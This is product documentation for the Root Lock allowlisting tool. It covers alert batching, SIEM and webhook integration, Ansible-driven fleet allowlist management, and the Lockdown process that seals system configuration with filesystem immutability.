These blocks apply a threshold filter. They fire in Lockdown, and also in Setup Mode when Setup Mode Alerts is on:

Not alerted:

• Setup Mode activity while Setup Mode Alerts is off
• Repeated blocks of the same program–destination pair already seen in the current session
• File version activity under /tmp/, /var/tmp/, or /dev/shm/
• Dashboard sessions opened or closed
• Successful allowlist approvals

Email, syslog, and webhook timing

Email — 5-minute accumulation window

Blocks are grouped before delivery. A dropper that installs 40 payloads in 90 seconds produces one email — subject Root Lock — 40 unknown programs blocked — prod-web-03 — not 40 individual messages. Volume and velocity are the attack signal; 40 separate emails fragment that signal into noise.

• The 5-minute window starts on the first block of a given type
• Additional blocks of the same type within that window are added to the pending bundle
• At window close, one email is dispatched covering all accumulated blocks
• Blocks of different types accumulate independently — a network burst does not delay a file modification alert

Digest mode: After 3 block emails in a single hour, further blocks are queued and delivered as one digest email at the hour’s end. Switching Setup Mode or Lockdown is never held — those emails go out immediately, as do the other events in the table above.

The 5-minute window and hourly cap apply to email only. They are fixed, not user-configurable.

Syslog and webhook — immediate

Syslog and webhook emit every alert immediately, without grouping or windowing. SIEM platforms (Splunk, Elastic) and incident management tools (PagerDuty, OpsGenie) apply their own correlation and deduplication — grouping alerts before they reach these systems removes information they need.

If a configured channel is silent in Setup Mode, check Setup Mode Alerts. Off (the default) means that silence is expected, not a misconfiguration.

With at least one push channel configured, the Dashboard unlocks Lockdown. Follow the Suggested Next Step to activate Lockdown.

8.1 - Pipe Lockdown blocks into the SIEM you already run

Overview: Root Lock by HeartSuite integrates with your existing SIEM, EDR, and observability stack via syslog (journald/rsyslog) and webhook. Configure once in Alert Settings → Fleet, and let your central tooling handle monitoring, correlation, and alerting. There is no requirement to run the Dashboard on every host for day-to-day fleet visibility.

Root Lock emits kernel denial decisions and higher-level alerts in real time. Allowlisted work that succeeds is not streamed, so every event your SIEM receives is either a denial or an alert.

Syslog (recommended for SIEM ingestion)

When the Fleet tab Syslog switch is on (Send alerts to /dev/log (LOG_AUTH facility)), every alert and every kernel denial is written to the local journal under identifier heartsuite. Alert message text begins with heartsuite-alert:.

Filebeat / Elastic (or any rsyslog-compatible shipper)

# filebeat-heartsuite.yml (adapt to your existing stack)
filebeat.inputs:
  - type: journald
    id: heartsuite-enforcement
    include_matches:
      - "SYSLOG_IDENTIFIER=heartsuite"
output.elasticsearch:
  hosts: ["https://your-elastic:9200"]
  # username, password, ssl.* etc. from your existing config
logging.level: warning

The journal identifier is heartsuite on every host. How you ship that identifier is stack-specific: Filebeat journald for Elastic, a universal forwarder or HEC for Splunk, a DSM for QRadar, promtail for Loki. The YAML above is an Elastic example, not a universal ingest path.

Pre-flight check on the host:

filebeat test config && filebeat test output

Direct rsyslog forwarding

Create /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514
# Use @ for UDP or the TLS modules for production

Then:

sudo systemctl restart rsyslog
journalctl -t heartsuite --since "1 minute ago"

Webhook (for PagerDuty, OpsGenie, Slack, etc.)

Enter an HTTPS URL in Webhook URL (must be HTTPS) on the Fleet tab. Root Lock posts a JSON payload on every alert (immediate delivery, no batching — let your receiver deduplicate). HTTP (non-TLS) URLs are rejected. When the URL contains pagerduty.com or opsgenie.com, the matching key field appears and Root Lock posts that vendor’s native format instead of the generic payload.

Example generic payload (a Lockdown block):

{
  "node_id":            "prod-web-03",
  "event_type":         "new_program_blocked",
  "timestamp":          "2026-03-31T14:22:00Z",
  "mode":               "Secure Mode",
  "lockdown":           true,
  "tier":               2,
  "paths":              ["/tmp/dropper", "/tmp/payload"],
  "count":              2,
  "message":            "2 previously unseen programs blocked.",
  "subscription":       "Active",
  "total_pending":      2,
  "pending_programs":   2,
  "pending_file_r":     0,
  "pending_file_w":     0,
  "pending_network":    0,
  "enrich_failed":      false
}

mode is the on-disk token ("Setup Mode" or "Secure Mode"). The Dashboard label for "Secure Mode" is Lockdown. lockdown is the seal boolean. tier is 1 when you switch between Setup Mode and Lockdown, and for allowlist, backup-coverage, and kernel-module config changes. It is 2 for denied programs, files, and network.

Supported targets:

• PagerDuty Events API v2 (routing key field appears for pagerduty.com URLs)
• OpsGenie Incoming Webhook (API key field appears for opsgenie.com URLs)
• Slack Incoming Webhooks
• Generic HTTPS JSON receivers

Test Webhook ([w]) sends a test POST, so you can confirm the receiver accepts the payload before a real alert depends on it.

Status JSON (pull-based monitoring)

A passive, always-on snapshot is written every 60 seconds to ~/.cache/heartsuite/status.json. No Fleet setting turns this on or off.

Fields of particular interest for health checks:

• mode, is_hs_kernel, lockdown, daemon_ok, node_id
• pending_* counts (non-zero in Lockdown usually indicates something needs investigation)
• channel_errors (email, syslog, webhook), each with message and at

Tools that can consume it directly:

• Ansible facts / custom modules over SSH
• Nagios / Icinga / Zabbix (SSH or file checks)
• Any script that cats or jqs the file on a schedule

Policy and posture data in Elastic and Kibana

In addition to the enforcement and alert streams, Root Lock can emit structured policy and posture data — snapshots of the current allowlist and periodic reports of the host’s protection posture. When ingested into Elasticsearch, that data supports views of the allowlist across your fleet.

Use it for:

• Tables of approved programs with their exact file and network grants
• Counts of programs, broad-write risks while locked down, and reporting hosts
• Drift detection by comparing each host with the allowlist you keep in Git
• Filtering for higher-risk entries using risk_level, has_broad_write, has_network_grant, and lockdown_active_at_capture

Use the Dashboard on individual hosts to review the queues, change the allowlist, and activate Lockdown. Use the central view for scanning, filtering, and correlating posture at fleet scale.

Production path on real hosts

On production hosts, ship enforcement and alert streams via syslog or Filebeat as described above. Ingest into your existing Elasticsearch cluster and build Kibana dashboards with your standard security, retention, and access controls. Alert Settings has no policy-or-posture export switch — Fleet configures syslog and webhook only. No separate HeartSuite download is required for this path.

tools/kibana-bridge (optional evaluation stack)

For lab, evaluation, and customer demos, HeartSuite offers tools/kibana-bridge/: an optional disposable Docker stack (Elasticsearch, Kibana, and a small ingest receiver) that turns Root Lock telemetry (apo_change, heartbeats, enforcement) into policy-centric Kibana views.

heartsuite-install.sh does not install it. Request an evaluation kit from support@heartsecsuite.com or use the materials included with your coordinated release delivery.

The bridge is a read-only view that sits beside the syslog enforcement streams; production needs only those streams. Typical views include:

• A living allowlist table (one row per program_path with grant counts, risk_level, has_broad_write, has_network_grant, and related fields).
• KPI-style posture metrics (policy counts, broad-write risk while locked down, high-grant surface, recent blocks).
• Drift detection by comparing each host with the allowlist you keep in Git.
• Enforcement correlation for drill-down alongside policy rows.

The stack is localhost-only, security-disabled, and throwaway (docker compose down -v wipes volumes). Do not publish Kibana, Elasticsearch, or the ingest receiver on a public IP without a network perimeter — for example a cloud firewall allowlist of known lab addresses, or an SSH tunnel so the browser reaches only localhost.

Use the production path above for real access control, TLS, and retention.

Versus tools/siem-test/: These are sibling evaluation fixtures with different purposes (both available on request, not on production hosts):

They can run side by side on the same machine (different ports).

Quickstart (evaluation):

cd tools/kibana-bridge
docker compose up -d
docker compose run --rm setup
# Open http://localhost:5601 (or http://127.0.0.1:5601)

After setup, Kibana includes preconfigured data views:

• HeartSuite Policies — primary view for the living allowlist table (Lens tables); compare it with the allowlist you keep in Git to find drift.
• HeartSuite Events — raw telemetry and event drill-down in Discover.

An optional imported dashboard, HeartSuite - Policy Overview, may also be present when saved objects are bundled with your checkout.

To feed live data during lab work, forward syslog or the evaluation-kit telemetry to the bridge ingest receiver, or ingest exported policy data into your production Elasticsearch using the same field model. Setup detail is included in the evaluation kit README shipped with tools/kibana-bridge/.

Pairing with Ansible central policy

The exported policy data model pairs with Ansible (or Terraform/GitOps) central policy: curate one allowlist in your repo, push via the heartsecurity.root_lock Ansible role, /.hs/sys/batch_record_add.py, or /.hs/sys/hs-app-perm-orders-manager, and use Kibana tables and KPIs for fleet visibility. Compare the allowlist you keep in Git for drift. Git history is the policy change record. Policy identity is not on status.json, syslog, webhook, or Kibana.

The bridge (or your production Elasticsearch deployment) is the read side. Your control plane remains the write path.

See Central Policy Management and External Control for Ansible role variables, seed application, harvest patterns, and composition with full server deployment playbooks.

Verification commands (run on the HeartSuite host)

# Recent alerts and enforcement decisions (journal identifier is heartsuite)
journalctl -t heartsuite --since "10 minutes ago"

# Status snapshot (for pull monitors)
cat ~/.cache/heartsuite/status.json | jq .

Relationship to the Dashboard

All channels are configured from the Dashboard: Alerts ([e]) opens Alert Settings. The Fleet tab is the place for syslog, webhook, and Setup Mode Alerts. Status JSON is written whenever the alert daemon is running. Email remains available as a supplementary or low-volume channel.

At fleet scale: syslog for the SIEM, webhook for incident response platforms, and Status JSON for infrastructure-as-code health checks. The Dashboard remains the place for initial setup, exception review, and maintenance — not for ongoing fleet monitoring.

Policy management is the inbound complement: your central systems curate and apply allowlists via the shipped CLI tools, pre-seeding, and automation patterns. See Central Policy Management and External Control.

Once at least one push channel is configured, you can proceed to Lockdown.

For the UI configuration steps in detail, see the parent Alert Settings page.

8.2 - Drive the allowlist from your own tooling

Overview: Root Lock by HeartSuite is designed to be driven by your existing central tooling. The Dashboard is the surface for a single host. At fleet scale, your control planes curate policy, apply it to each host, and collect what each host reports back.

Cloud Path and Local Path remain how each host is installed. This page covers the fleet work around that install: harvesting an allowlist baseline from one host, installing that seeded package on many hosts, and applying extras without a Dashboard session on every machine.

Each host enforces its own allowlist, and Lockdown seals that allowlist on the host. HeartSuite has no central server that pushes policy to many hosts — your automation applies it per host, and each host exports status, alerts, and an approval log for central visibility and attribution.

Keep policy curation, change approval, and fleet-wide visibility inside the tools you already run (Ansible, Terraform, GitOps repositories, ServiceNow, Splunk, Elastic, custom orchestration).

Policy curation in your central systems

A repository you already run — usually Git, applied by Ansible, Terraform, or similar — holds the list of approved programs, file-access paths, and network destinations. Your CMDB keeps describing hosts and apps, and your ITSM tickets keep approving changes; the repository is where the grants themselves live.

• Keep policy as text lists (one absolute program path per line) or structured data your automation can parse.
• Put changes through your normal processes: code review in Git, change tickets in ServiceNow, or a policy-as-code pipeline.

Two ways to seed the allowlist

Root Lock accepts seed policy at two points. An install-time baseline gives a new host the full allowlist of a host that already ran the same workload, so initial setup finishes quickly instead of running a multi-hour observation period on every node. A post-install program list adds programs to a host that is already running Root Lock.

A program list carries program paths; the installer baseline also carries each program’s grants and is what shortens initial setup. Re-applying a harvested baseline as a text list after initial setup therefore gains nothing. Program lists earn their place for role-scoped bootstrap lists (for example SSH and application entry points), for stack extras you approve after reviewing the queues, and for hosts that never ran those paths during setup.

Seed a fleet from one reference host

1. Reference host. Run initial setup on one host of this class under its real, full workload, then review what remains in the queues. If this host was installed without a baseline, this is the one time the fleet pays the multi-hour observation period.
2. Harvest the installer baseline from that host with the harvest and packaging tooling. Ansible can orchestrate the collection over SSH. The result is installer baseline material — programs and their grants — for step 4, not an hs_seeds list.
3. Review the baseline and promote it into your package pipeline.
4. Build or obtain a Root Lock install package with baseline pre-seed enabled (for example installer option --apo-seed). Packages can ship with pre-seed off; enable it here.
5. Start each fleet node from a clean OS.
6. Install Root Lock with Ansible, pointing the playbook’s install bundle at the pre-seeded installer. Initial setup starts from the baseline and finishes quickly.
7. Deploy application and hardening automation, then review only the differences in the Dashboard.
8. Optional: harvest extras with get_allowlist_programs() from the limited_tools Python API, which prints one program path per line, and review the paths. Apply them with hs_seeds, which approves each program path, or with batch_record_add.py, which approves those paths and also grants read on /usr/lib and /etc.
9. Activate Lockdown once the subscription, alert, and queue checks pass.

The first reference host of a class has no baseline to start from: install it on a clean OS without pre-seed, let initial setup run under the real workload, review the queues, and harvest from step 2. Every later host follows the order above.

Seed only what the reference host’s real workload ran, and leave out paths from test runs or one-off commands. An item in the pending queue becomes a grant only when you approve it.

Applying policy from automation

Use the CLI tools shipped with every installation (documented in the Appendices and Batch Allowlisting Tools) to apply post-install policy from your control plane:

• /.hs/sys/hs-app-perm-orders-manager — inspect current state, add or remove specific entries for programs, file paths, and network destinations. /.hs/sys is not on PATH, so call it by its full path.
• batch_record_add.py — bulk-seed programs from a plain-text list of paths (adds each with standard library and configuration directories).

Run these tools over SSH, via config-management agents, or as part of provisioning scripts after Root Lock is installed and initial setup is complete. Your central system prepares the seed data or change set; the automation layer delivers and applies it to each target host.

Subscription activation (hs-activate-subscription) is still required on each host before Lockdown can be engaged — this is the entitlement step and remains local.

Examples for the primary integration patterns follow.

1. Ansible — playbooks for seeding and applying policy

HeartSuite provides an official declarative Ansible role (heartsecurity.root_lock) for fleet policy application and Lockdown transitions. It is modelled on linux-system-roles.selinux and ships with coordinated release materials; email support@heartsecsuite.com if you need the role package.

On every installed host, the limited_tools Python API under /opt/heartsuite is the runtime integration surface the role uses. A shell-and-CLI alternative using batch_record_add.py and hs-app-perm-orders-manager follows below for ad-hoc or legacy playbooks.

Official Ansible role: heartsecurity.root_lock

Overview: The role provides variable-driven management of allowlist programs and mode transitions. Re-running a play does not create duplicate entries. It is modelled on linux-system-roles.selinux (and rhel-system-roles.selinux) so administrators familiar with RHEL declarative SELinux policy can apply the same playbook patterns.

The role assumes Root Lock is already installed. It focuses on allowlist management plus mode transitions (Setup Mode / Lockdown). Full server provisioning — base OS preparation, hardening (for example the dev-sec collection), SFTP receiver setup, bundle-based installation, and post-install configuration — belongs in thin orchestrator playbooks that compose heartsecurity.root_lock with upstream collections and host-specific tasks.

A reference provisioning example for a Debian 12 server is in the code repository under ansible/examples/hs-debian12-provision/. The pattern: install Root Lock and let initial setup run, start with a minimal role-scoped bootstrap allowlist from a seed file, and run the real workload. After you review the queues, keep the extra programs Setup Mode logged in a seed file and re-apply it with the role on the hosts that need those paths.

Requirements:

• Root Lock already installed on managed hosts.
• Initial setup finished before you apply workload hs_seeds or stack playbooks that expect a reviewed baseline.
• become: true — all operations are privileged.
• Ansible >= 2.9.
• The role invokes the production Python API in /opt/heartsuite (limited_tools via /opt/heartsuite/venv/bin/python3 and /opt/heartsuite/src).

Key variables (all prefixed hs_ to avoid collision with SELinux role variables):

Additional variables include hs_gather_status (default true, exposes hs_status fact), hs_purge / hs_purge_allowlist (emit a warning only — the scriptable surface adds entries by design), and hs_python / hs_src_path overrides for non-standard install layouts.

Re-run behaviour: All allowlist operations return CommandResult with kind == "noop" when an entry is already present. The role uses this for correct changed_when reporting, so repeated plays do not show spurious changes.

Minimal example playbook:

# heartsuite-root-lock.yml
- name: Configure HeartSuite allowlist and engage Lockdown
  hosts: heartsuite_fleet
  become: true
  vars:
    hs_state: secure
    hs_programs:
      - /usr/sbin/sshd
      - /usr/bin/python3
    hs_seeds:
      - /var/lib/ansible/heartsuite/seed.txt
  roles:
    - heartsecurity.root_lock

After switching to secure or lockdown, a reboot is typically required for full seal; the role does not reboot automatically. Register facts (hs_status, hs_apply_result, hs_switch_result) are available for assertions or subsequent tasks.

Python API alternative: For custom Ansible modules or non-Ansible automation, the same functions are exposed via limited_tools: approve_program_path, apply_allowlist_seed, get_status, get_allowlist_programs, and switch_to_secure. These reuse the same gates and CommandResult semantics.

The heartsecurity.root_lock role is the preferred declarative path for post-install allowlist and mode work. Use the Python API (or thin custom tasks) when composing larger provisioning playbooks that also handle OS setup, hardening, or host-specific services.

See the reference provisioning starter in the code repository (ansible/examples/hs-debian12-provision/) for composition: it delegates SSH/SFTP hardening to the dev-sec collection, performs bundle-based installation, registers backup directories and alert configuration, starts with a minimal allowlist bootstrap, and shows how to harvest from real workload observation into a seed file before using the role for allowlist and mode.

Use these playbooks to carry out the change records your central system approves.

Shell + register alternative

Use Ansible to distribute seed files and invoke the batch or management tools with become: true:

# heartsuite-policy-apply.yml
- hosts: heartsuite_fleet
  become: true
  tasks:
    - name: Copy central program seed list
      copy:
        src: "policy/seeds/programs-{{ inventory_hostname }}.txt"
        dest: "/tmp/heartsuite-programs.txt"
        owner: root
        mode: '0600'

    - name: Apply baseline programs via batch tool
      shell: "/.hs/sys/batch_record_add.py /tmp/heartsuite-programs.txt"
      args:
        creates: "/.hs/sys/allowlist_applied_{{ inventory_hostname }}.stamp"

    - name: Apply targeted network and file deltas from central policy
      shell: |
        /.hs/sys/hs-app-perm-orders-manager add -x /usr/bin/curl -n 93.184.216.34
        /.hs/sys/hs-app-perm-orders-manager add -x /usr/bin/curl -d /etc/ssl/certs
      # Idempotency and error handling left to your playbook

    - name: Harvest the applied program list on the host
      shell: >
        /opt/heartsuite/venv/bin/python3 -c "import sys; sys.path.insert(0, '/opt/heartsuite/src');
        from core.limited_tools import get_allowlist_programs;
        print('\\n'.join(sorted(get_allowlist_programs() or [])))"
      register: hs_allowlist
      changed_when: false

    - name: Record application in central audit
      copy:
        content: "{{ hs_allowlist.stdout }}\n"
        dest: "policy/harvest/allowlist-{{ inventory_hostname }}.txt"
      delegate_to: localhost
      become: false
      # Then commit the harvest back to your policy repo

Without the role there is no CommandResult.kind == "noop" to drive changed_when, so add your own re-run checks (for example creates, or register + conditional tasks).

2. Splunk / Elastic (and similar SIEMs) — ingesting for central dashboards and policy triggers

The primary use of Splunk and Elastic is consumption of the structured data streams (see SIEM and Fleet Integration). Once events are in the SIEM:

• Build dashboards showing per-node mode, pending counts (from status.json), block rates, and approval activity (from the JSONL approval log forwarded via syslog or other shipper).
• Build views of the current allowlist and associated risks from the structured policy snapshots and posture data, including tables of programs with grant counts, risk_level, and broad-write and network flags. Compare the allowlist you keep in Git for drift. Policy identity is not on status.json, syslog, webhook, or Kibana.
• Use SOAR playbooks or alert actions in the SIEM to trigger Ansible Tower / AWX jobs or Terraform runs that apply approved policy updates back to affected hosts.
• Correlate HeartSuite enforcement events with change tickets to close the audit loop.

Syslog is the recommended high-volume path for both the per-decision enforcement stream and higher-level alerts. For richer views of the allowlist and posture (tables, metrics, and correlation) see SIEM and Fleet Integration.

3. Terraform + GitOps — policy in repository, applied at provision and drift remediation

Store allowlist seeds and change manifests in the same Git repository as your infrastructure code.

• Use Terraform local_file or templatefile to render per-host or per-role seed files from a central policy definition.
• During terraform apply, a remote-exec provisioner, local-exec that calls Ansible, or a custom provider runs the seed application and hs-app-perm-orders-manager invocations on the new or updated instance.
• Drift detection: scheduled jobs (or Terraform Cloud/Enterprise runs) harvest the program list with get_allowlist_programs() from the limited_tools Python API, compare it with the allowlist you keep in Git, and open PRs or apply corrections. status.json is the health snapshot, not the policy identity.
• Git history becomes the authoritative change record for policy; the on-host JSONL approval log provides the per-host attribution of when and by which uid/tty the change was executed.

This pattern works especially well for immutable or frequently reprovisioned fleets.

4. ServiceNow or ITSM platforms — change-driven policy

• Model allowlist additions, removals, or baseline updates as standard or emergency change requests.
• Approved changes update the Git (or equivalent) policy repository, then automation applies them per host.
• The automation (Ansible, scripts, or ServiceNow Flow Designer + MID server) applies the delta to the target hosts using the CLI tools above.
• On completion, the automation closes the change ticket and posts the resulting JSONL approval log excerpts (or a pointer to the SIEM record) as evidence.

This keeps policy changes inside the same approval workflow used for all other infrastructure changes.

5. Custom scripts and other configuration management (Puppet, Chef, Salt, etc.)

Any tool that can copy files and run commands as root on the target can drive policy:

• Puppet: a custom resource or exec that writes a seed list managed by Hiera or PuppetDB and then invokes batch_record_add.py or hs-app-perm-orders-manager.
• Chef: a recipe that templates policy from a data bag and executes the CLI tools.
• Pure scripts (Python, Bash, or your language of choice) run from a central runner or cron on a bastion: query the authoritative policy store, compute the diff for each host (or use a node-specific tag), SSH in, and apply.

The dedicated JSONL approval log (with uid/tty attribution for each change) and the enforcement/alert syslog streams give you the same audit trail regardless of which tool performed the apply.

Consuming data for central visibility, auditing, and harvesting

Status JSON and the JSONL approval log are written whenever the alert daemon is running. Syslog is off until you enable it on Alert Settings → Fleet. Webhook requires an HTTPS URL on that same tab.

• Status JSON (~/.cache/heartsuite/status.json, updated every 60 seconds) — lightweight pull surface for health and pending counts. Use from Ansible facts, Nagios/Zabbix checks over SSH, or any scheduled collector. Key fields for fleet dashboards: mode, lockdown, is_hs_kernel, daemon_ok, pending_* counts, node_id. See the schema in the Appendices.

• Dedicated JSONL approval log (/var/log/heartsuite/allowlist-audit.log) — persistent, append-only record of every allowlist approval (not skips or removals) with timestamp, uid, and tty. This is the primary artifact for change attribution. Forward that file with your existing log shipper. It is not copied into syslog.

• Structured syslog streams — when Fleet Syslog is on, denial lines (HS-PROG-DENY, HS-FILE-DENY, and similar) and aggregated alerts (new_program_blocked, mode changes) share ident heartsuite. Alert lines use the message prefix heartsuite-alert:. A single rsyslog rule forwards both. Full configuration examples and Filebeat patterns are in the SIEM and Fleet Integration page.

• Webhook — HTTPS POST of compact JSON alert payloads on every significant event. Configure the endpoint in Alert Settings; use for immediate routing into ServiceNow, PagerDuty, or your own policy-evaluation service.

• Harvest current allowlist state — run get_allowlist_programs() from the limited_tools Python API, or /.hs/sys/hs-app-perm-orders-manager view -a for each program’s grants, on a schedule or on demand and commit the output to your central policy repository. This closes the loop: central sees what is actually enforced on each host and can detect drift or feed the next baseline.

See Alert Settings for configuration of syslog and webhook (Fleet tab) and SIEM and Fleet Integration for production-scale ingestion patterns.

Relationship to the Dashboard and Lockdown

The Dashboard remains the right surface for one-off investigation, initial setup on a new host, and guided maintenance windows. At fleet scale, routine policy application and observation move to your central tooling.

While Lockdown is on, alerts for programs waiting in the pending queues go to every configured channel.

Central automation drives allowlist policy and first install. It does not lift Lockdown.

• Similar hosts, first install: harvest once, package with install-time pre-seed, Ansible installs that package — the order above.
• Already in Lockdown: the official role does not unseal. hs_state: setup leaves mode unchanged. Package installs and Root Lock bundle updates wait for Setup Mode — Protecting During Maintenance and Updating Root Lock.
• Many locked hosts: reprovision from an updated image rather than a console session per node — Enterprise Adoption Guide.

Next steps and related documentation

• Configure the base alert channels on a pilot host: Alert Settings
• Review the CLI tools available for automation: Batch Allowlisting Tools and Appendices.
• Set up log ingestion: SIEM and Fleet Integration.
• Understand maintenance windows, unseal, and fleet image reprovision: Maintenance.
• Compliance context for auditors: SOC 2 Control Mapping and Compliance Reference: NIST CSF & ISO 27001.

For support with large-scale or custom automation patterns, contact support@heartsecsuite.com.

9 - Lockdown seals the allowlist, including from root

Overview: When you lock down from Setup Mode, Root Lock by HeartSuite blocks every program not on the allowlist, including any you forgot to approve, including as root.

The Dashboard guides activation through a precondition checklist and a typed YES. Lockdown then seals the allowlist with filesystem immutability (chattr +i): no program or user, including root, can modify it while the server is running.

System states

Root Lock has two modes: Setup Mode and Lockdown. Both run on the Root Lock kernel. Lockdown is one event: blocking turns on and the configuration is sealed.

Booting the original maintenance kernel is not a Root Lock mode. It is the machine running without Root Lock.

The indicator at the top of the Dashboard shows the current protection state, and the Suggested Next Step tells you what to do next.

If the strip says Lockdown not applied while programs are already being blocked, the seal is broken or unfinished, so open Maintenance ([m]).

Trust graduation across modes

Each mode defines a different trust boundary.

In Setup Mode, you are trusted to teach the allowlist — anything not on the allowlist is logged but not blocked.

In Lockdown, trust is withdrawn from running programs regardless of which user runs them. Any program, including one running as root, must be on the allowlist. Your ability to change that allowlist at runtime is also withdrawn — configuration is sealed until Maintenance unseals it so you can install software or edit files.

Protection state

The indicator at the top of the Dashboard reflects the current protection state:

Setup Mode and Lockdown

Lockdown activation stays locked until the earlier checklist items are complete. The Dashboard tracks progress and shows Lockdown as the Suggested Next Step when it is available.

The Dashboard prevents Lockdown activation until the review queues are empty, alerts are configured, the subscription is active, heartsuite.service is enabled, and the allowlist has been quiet for three days (no newly discovered programs, file paths, or network destinations). If any precondition is not satisfied, Lockdown ([l]) displays “Lockdown is not available yet” and lists what remains. [s] skips the three-day settling countdown only. Pending review queues must still be empty.

If you have not added the necessary access permissions or network address permissions to allowlist entries, Root Lock will block programs from accessing those files and network addresses when you activate Lockdown.

Once setup is complete, stay in Setup Mode for several days. File and network activity continues to appear in the review queues, so you can approve a more complete allowlist before Lockdown.

When installing new software, return to Setup Mode first. The Debian package manager dpkg creates temporary directories during installation. In Lockdown, that write fails and the installation halts. The temporary directory is gone before it can be added to an allowlist entry.

Open Maintenance ([m]) before using dpkg, add any additional access permissions needed, then lock down again from Lockdown ([l]).

One host can run many approved programs under Lockdown. Replacing those program files, or installing packages that write new files, still takes Setup Mode, and one pass through Maintenance covers all the changes on that host. Fleets of locked hosts can reprovision from an updated image instead; see Maintenance and Enterprise Adoption Guide.

graph TD
    A["Dashboard: Lockdown Checklist complete"] --> B["Queues empty, alerts on, subscription active"]
    B --> C["Lockdown [l] — review grants, then type YES"]
    C --> D["Probe reboot — queues must stay clear"]
    D --> E["Seal reboot — at the boot menu, do nothing"]
    E --> F["Lockdown applied"]
    F --> G{Maintenance needed?}
    G -->|"Yes"| H["Maintenance [m] — console unseal, then SSH in Setup"]
    H --> I["Setup Mode — make changes, review new activity"]
    I --> C
    G -->|"No"| J["Stay in Lockdown"]

    style A fill:#eee,stroke:#888
    style B fill:#eee,stroke:#888
    style C fill:#eee,stroke:#888
    style D fill:#eee,stroke:#888
    style G fill:#eee,stroke:#888
    style H fill:#eee,stroke:#888
    style I fill:#eee,stroke:#888
    style E fill:#d4f4dd,stroke:#2a7a40
    style F fill:#d4f4dd,stroke:#2a7a40
    style J fill:#d4f4dd,stroke:#2a7a40

Switching between modes

Dashboard-first Lockdown activation

The Dashboard is where you activate Lockdown. When all preconditions are met, the Suggested Next Step offers Lockdown activation. The precondition checklist includes:

• All review queues are empty (Programs [p], File Access [f], Internet Access [i])
• Earlier checklist items are complete (Program Allowlisting through Alert Settings)
• Subscription is active
• heartsuite.service is enabled so the seal can engage on the next boot
• Three days with no newly discovered programs, paths, or destinations — or [s] to skip that countdown

Activating Lockdown

From the Dashboard, select Lockdown ([l]). The Dashboard shows a precondition checklist, an observation period summary, and a review of your allowlist. Before you type YES, you can still change specific grants:

• [u] undo auto-narrowed install write grants (HeartSuite install tree only)
• [m] undo auto-narrowed kmod directory grants
• [b] undo auto-narrowed broad write grants
• [g] undo auto-narrowed file-write tool (GTFOBins) grants
• [y] undo auto-narrowed root grants on /
• [t] opt out of restricting rm, cp, and mv to the directories they used during Setup
• [c] add HeartSuite install paths to the Lockdown seal
• [x] exclude specific write-conflict paths from the seal; [n] put an excluded path back
• [d] undo a recursive seal on a broad directory
• SSH hardening ([h]) and SSH during Lockdown ([r] / [j]). The default is sshd stopped; leaving it running is not recommended.
• inbound permit selection ([o] / [a]); [k] removes recorded permits
• [l] optional boot menu password, off by default. It is offered only before the seal, while Setup Mode can still write the boot menu; after Lockdown the key is absent because /boot cannot be rewritten.

The boot menu password is separate from the Linux root login password. At the GRUB prompt, the name is root and the password is the one you set here. The Root Lock entry boots without asking, while selecting Maintenance: unseal and return to Root Lock, or editing the kernel line, asks for that name and password. If you never set one, the console GRUB pick unseals with no extra prompt. If setting the password fails, YES does not start Lockdown. GRUB has no password reset, so a lost password is recovered by mounting the disk from outside the machine. On extlinux (Alpine) the control is not offered, and Lockdown works without it.

If you do nothing, Root Lock narrows those grants when Lockdown finalizes.

The commitment summaries and, after Lockdown, the Lockdown Inventory ([l]) are read-only. Change grants on the activation view, not on the inventory. When all preconditions are met, type YES (case-sensitive) to confirm.

(The screenshot shows the checklist and the YES field. Grant changes use the keys listed above.)

YES does not seal the machine on this boot. It starts a probe reboot, shown in the Dashboard as “Probe reboot. Verifying queues stay clear.” At that boot menu, do nothing and wait, and do not select Maintenance. The normal boot does not ask for a boot menu password.

If the queues stay clear, Root Lock finalizes Lockdown and reboots again to apply the seal. When the Dashboard is still open after finalize, it offers:

• [r] Reboot now: Lockdown will be applied

That second reboot is the seal. Again, do nothing at the boot menu: the default entry is Root Lock, and it boots without a password prompt.

Lockdown then persists on every Root Lock kernel boot. To make changes, use Maintenance ([m]).

After Lockdown: Lockdown Inventory

Once Lockdown is applied, Lockdown ([l]) opens the Lockdown Inventory, a read-only view of what is sealed.

Making changes after Lockdown

From the Dashboard, open Maintenance ([m]). After Lockdown, unsealing requires physical or serial-console access for one boot-menu pick; after that reboot, you work over SSH again.

1. Reboot from the console, not over SSH — only this GRUB pick needs the console.
2. At the boot menu, select Maintenance: unseal and return to Root Lock. If a boot menu password was set, that pick asks for it.
3. The seal lifts automatically (HS_unlock.sh on that maintenance-kernel boot). The machine returns to the Root Lock kernel in Setup Mode. You do not stay on the maintenance kernel, and you do not press a key to remove flags. sshd running or stopped on the Root Lock kernel does not clear the seal.
4. Log in over SSH (or stay on the console). Make your changes. New activity appears in the review queues.
5. Lock down again from Lockdown ([l]).

See Protecting During Maintenance for the safety checklist and isolation choices.

Do not use Lockdown ([l]) to remove Lockdown. That key opens the inventory.

Lockdown: sealing the system

Lockdown seals Root Lock’s configuration with filesystem immutability, so a compromised root account cannot tamper with the allowlist while the machine runs. The seal is system-wide: configuration, system files, accounts, scheduled tasks, and the maintenance tools themselves — all sealed in one step.

What Lockdown seals

Once Lockdown is engaged, Root Lock seals these categories at once, using chattr +i. Before you confirm, the Dashboard shows the paths that will be sealed, grouped by category with counts. The list is for review only, and approving an allowlist grant never adds a path to it. To seal an extra path, unseal, add it to the lockdown script and its reverse to the unlock script, then lock down again from Lockdown ([l]) — see Appendices.

• Installation integrity — HeartSuite install paths under /opt/heartsuite, plus allowlist files and the mode state. Defends against allowlist tampering and replacing Root Lock code that runs as root at login.
• System integrity — shared libraries (/usr/lib/), /boot, systemd unit directories, the SSH server config, and sudo policy. Defends against shared-library injection, malicious systemd units, and SSH or sudo policy weakened by a brief root compromise.
• Authentication — the account database (/etc/passwd, /etc/shadow, /etc/group) and no-login shells. Defends against an attacker who already has root creating accounts, changing passwords, or converting service accounts into interactive logins.
• Boot-window persistence — cron and anacron configuration, environment defaults, and root’s shell profiles. Defends against an attacker scheduling a script to run after a reboot but before Lockdown re-engages, and against bash-profile backdoors that run on the next root login.
• /root directory inode — HS_lockdown.sh sets chattr +i on /root itself, not only on those profiles. That flag is on disk. It is a separate layer from per-program default-deny. Approving an allowlist grant does not lift it.
